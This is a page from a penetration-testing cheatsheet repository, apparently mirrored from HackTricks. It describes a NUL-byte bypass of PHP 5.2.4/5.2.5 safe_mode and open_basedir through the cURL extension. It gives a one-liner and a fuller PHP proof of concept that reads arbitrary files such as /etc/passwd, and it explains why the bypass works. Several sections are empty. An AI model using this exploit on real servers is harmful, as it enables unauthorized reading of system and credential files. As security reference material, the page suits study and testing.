repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
disable-functions-bypass-php-5-2-4-and-5-2-5-php-curl.mdMarkdown88 lines5.1 KiBsource raw download

title: "PHP 5.2.4 and 5.2.5 PHP cURL" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

PHP 5.2.4 and 5.2.5 PHP cURL#

This page documents a legacy but still useful-in-CTFs/local-legacy-installs trick to bypass PHP safe_mode/open_basedir checks using the cURL extension on specific PHP 5.2.x builds.

The original Bugtraq disclosure provides the historical code context for this technique.[2]

One-liner PoC#

If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:[3]

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

More explicit PoC (arbitrary file read)#

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
    echo $resp; // should contain the target file
} else {
    echo "cURL error: $err\n";
}
?>

Notes:

Why this works (short)#

The vulnerability lies in how PHP 5.2.4/5.2.5 performed safe_mode/open_basedir checks for file:// URLs in ext/curl. The check parsed the URL and validated a path component, but due to NUL-byte handling it validated a different string than the one actually used by libcurl. In practice, the validator could approve the path after the NUL while libcurl used the part before the NUL as the URL container, enabling a bypass that results in reading the file placed after the NUL byte. See the original analysis and the affected macro in curl/interface.c for details.[1]

Constraints and fixes#

CTF tips#

See also#

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

Readme

References#